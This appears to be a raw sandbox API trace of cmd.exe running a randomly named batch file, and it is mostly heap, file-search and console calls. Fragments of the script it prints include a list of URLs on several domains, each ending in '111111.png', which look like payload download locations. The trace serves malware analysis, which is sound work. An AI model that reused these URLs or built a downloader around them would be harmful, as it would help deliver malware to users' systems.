_wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.797] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.797] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.797] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.797] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.798] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.798] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.798] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.798] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.798] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.798] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.798] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.798] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.798] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0211.798] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0211.798] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0211.798] ??_V@YAXPEAX@Z () returned 0x1 [0211.798] GetProcessHeap () returned 0x20b0f920000 [0211.798] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0211.798] GetProcessHeap () returned 0x20b0f920000 [0211.798] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb6) returned 0x20b0f92d690 [0211.799] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0211.799] malloc (_Size=0xffce) returned 0x20b0fa80900 [0211.799] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0211.800] GetProcessHeap () returned 0x20b0f920000 [0211.800] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0211.800] SetErrorMode (uMode=0x0) returned 0x0 [0211.801] SetErrorMode (uMode=0x1) returned 0x0 [0211.801] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0211.801] SetErrorMode (uMode=0x0) returned 0x1 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0211.801] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0211.801] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0211.801] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f926b80 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f926b80, Size=0x7e) returned 0x20b0f926b80 [0211.801] GetProcessHeap () returned 0x20b0f920000 [0211.801] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f926b80) returned 0x7e [0211.801] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d0f0 [0211.802] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0211.802] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.802] GetLastError () returned 0x2 [0211.802] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.802] GetLastError () returned 0x2 [0211.802] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.802] GetLastError () returned 0x2 [0211.802] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.802] GetLastError () returned 0x2 [0211.802] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.803] GetLastError () returned 0x2 [0211.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.803] GetLastError () returned 0x2 [0211.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.803] GetLastError () returned 0x2 [0211.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.803] GetLastError () returned 0x2 [0211.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.803] GetLastError () returned 0x2 [0211.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.803] GetLastError () returned 0x2 [0211.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.804] GetLastError () returned 0x2 [0211.804] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.804] GetLastError () returned 0x2 [0211.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cc70 [0211.804] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0211.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.804] GetLastError () returned 0x2 [0211.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.804] GetLastError () returned 0x2 [0211.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.805] GetLastError () returned 0x2 [0211.805] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.805] GetLastError () returned 0x2 [0211.805] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.805] GetLastError () returned 0x2 [0211.805] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.805] GetLastError () returned 0x2 [0211.805] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.806] GetLastError () returned 0x2 [0211.806] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.806] GetLastError () returned 0x2 [0211.806] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.806] GetLastError () returned 0x2 [0211.806] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.806] GetLastError () returned 0x2 [0211.806] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.806] GetLastError () returned 0x2 [0211.807] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.807] GetLastError () returned 0x2 [0211.807] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.807] GetLastError () returned 0x2 [0211.807] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.807] GetLastError () returned 0x2 [0211.807] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.807] GetLastError () returned 0x2 [0211.807] ??_V@YAXPEAX@Z () returned 0x1 [0211.808] _get_osfhandle (_FileHandle=2) returned 0x54 [0211.808] GetFileType (hFile=0x54) returned 0x2 [0211.808] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0211.808] _get_osfhandle (_FileHandle=2) returned 0x54 [0211.808] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0211.809] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0211.809] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0211.809] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0211.813] ??_V@YAXPEAX@Z () returned 0x1 [0211.813] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.813] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0211.814] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.814] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0211.816] _get_osfhandle (_FileHandle=0) returned 0x4c [0211.816] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0211.817] SetConsoleInputExeNameW () returned 0x1 [0211.817] GetConsoleOutputCP () returned 0x1b5 [0211.817] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0211.817] SetThreadUILanguage (LangId=0x0) returned 0x409 [0211.817] ??_V@YAXPEAX@Z () returned 0x1 [0211.819] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0211.819] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0211.819] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.819] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xade [0211.819] GetProcessHeap () returned 0x20b0f920000 [0211.819] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926b80) returned 1 [0211.819] GetProcessHeap () returned 0x20b0f920000 [0211.819] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0211.819] GetProcessHeap () returned 0x20b0f920000 [0211.819] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0211.819] GetProcessHeap () returned 0x20b0f920000 [0211.819] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0211.820] GetProcessHeap () returned 0x20b0f920000 [0211.820] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0211.820] GetProcessHeap () returned 0x20b0f920000 [0211.820] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0211.821] GetProcessHeap () returned 0x20b0f920000 [0211.821] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0211.821] GetProcessHeap () returned 0x20b0f920000 [0211.821] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0211.821] GetProcessHeap () returned 0x20b0f920000 [0211.821] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0211.821] GetProcessHeap () returned 0x20b0f920000 [0211.821] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0211.822] GetProcessHeap () returned 0x20b0f920000 [0211.822] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0211.822] GetProcessHeap () returned 0x20b0f920000 [0211.822] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0211.822] GetProcessHeap () returned 0x20b0f920000 [0211.822] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0211.822] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.822] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xade [0211.822] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xcd7, lpOverlapped=0x0) returned 1 [0211.822] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2791, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae7 [0211.822] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0211.823] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.823] GetFileType (hFile=0x9c) returned 0x1 [0211.823] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.823] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae7 [0211.823] GetProcessHeap () returned 0x20b0f920000 [0211.823] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0211.823] GetProcessHeap () returned 0x20b0f920000 [0211.823] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0211.823] _tell (_FileHandle=3) returned 2791 [0211.823] _close (_FileHandle=3) returned 0 [0211.823] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0211.823] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0211.824] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.824] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2791, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae7 [0211.824] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.824] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae7 [0211.824] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xcce, lpOverlapped=0x0) returned 1 [0211.824] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0211.824] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0211.824] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.824] GetFileType (hFile=0x9c) returned 0x1 [0211.824] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.824] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0211.824] GetProcessHeap () returned 0x20b0f920000 [0211.824] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0211.824] GetProcessHeap () returned 0x20b0f920000 [0211.824] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0211.824] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0211.824] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0211.824] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0211.824] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0211.824] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0211.824] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0211.824] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0211.825] GetProcessHeap () returned 0x20b0f920000 [0211.825] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0211.825] GetProcessHeap () returned 0x20b0f920000 [0211.825] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0211.825] GetProcessHeap () returned 0x20b0f920000 [0211.825] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f926ea0 [0211.825] _tell (_FileHandle=3) returned 2882 [0211.825] _close (_FileHandle=3) returned 0 [0211.825] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0211.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.825] GetFileType (hFile=0x50) returned 0x2 [0211.825] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.826] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0211.829] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0211.829] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0211.830] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0211.830] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.830] GetFileType (hFile=0x50) returned 0x2 [0211.830] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.831] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.831] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0211.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.832] GetFileType (hFile=0x50) returned 0x2 [0211.832] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.832] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0211.833] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0211.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.833] GetFileType (hFile=0x50) returned 0x2 [0211.833] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.833] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x9cb92fee08, 